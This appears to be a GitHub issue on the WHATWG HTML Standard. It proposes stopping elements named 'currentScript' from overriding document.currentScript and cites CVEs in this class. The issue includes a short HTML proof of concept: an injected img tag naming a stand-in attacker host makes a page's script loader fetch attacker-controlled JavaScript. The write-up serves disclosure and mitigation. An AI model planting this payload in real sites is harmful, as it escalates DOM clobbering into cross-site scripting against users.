Description
What is the issue with the HTML Standard?
It has been reported that an attacker that has DOM clobbering powers (weak), can potentially escalate it to XSS attack (stronger).
Several public CVEs have been reported, e.g.
https://vulert.com/vuln-db/CVE-2024-45389
GHSA-gcx4-mw62-g8wm
https://nvd.nist.gov/vuln/detail/CVE-2024-45812
GHSA-4vvj-4cpr-p986
These all revolve around the fact that
<html><body>
<img name='currentScript' src='http://bad.attacker.site.com/foo.js'>
<script>
var script = document.createElement('script');
var scriptDir = document.currentScript.src.substr(0, document.currentScript.src.lastIndexOf('/'));
script.src = `${scriptDir}/sibling.js`;
</script></body></html>
That is, if attacker has the power to inject a DOM element with name='currentScript'
(like add an image in a forum in an unsafely implemented manner), and if the site then uses document.currentScript.src
to infer what the path to the current script is, to load another script relative to it, an attacker has the capability to elevate their DOM clobber into a XSS opportunity.
I raised this in whatwg/dom#1315 where it was closed as duplicate of #2212.
The ticket #2212 discussed a general opt-out solution, though it feels that a) a solution to this security aspect should not be opt-out, and b) dealing with the specific pattern of document.currentScript
alone would be worth it, as that would plug that whole class of CVEs linked above from being able to occur.
Progress in #2212 has been slow due to concerns of site breakage. I think it would be safe to argue that preventing <img name='currentScript' src='http://bad.attacker.site.com/foo.js'>
from overwriting document.currentScript
, i.e. handling the overwrite of name='currentScript'
alone should not have these backwards compatibility concerns of site breakage, and would be possible to be undertaken separately from #2212, which is currently in the progress of acquiring user statistics?
Reading the linked CVEs, it looks like that would cover all the CVEs above, and stop any future CVEs from this category from being possible. It would also prevent weird interactions in downstream libraries, like emscripten-core/emscripten#22688, from needing to take place.
Would it be ok to blacklist name='currentScript'
on its own from replacing document.currentScript
? What do you think?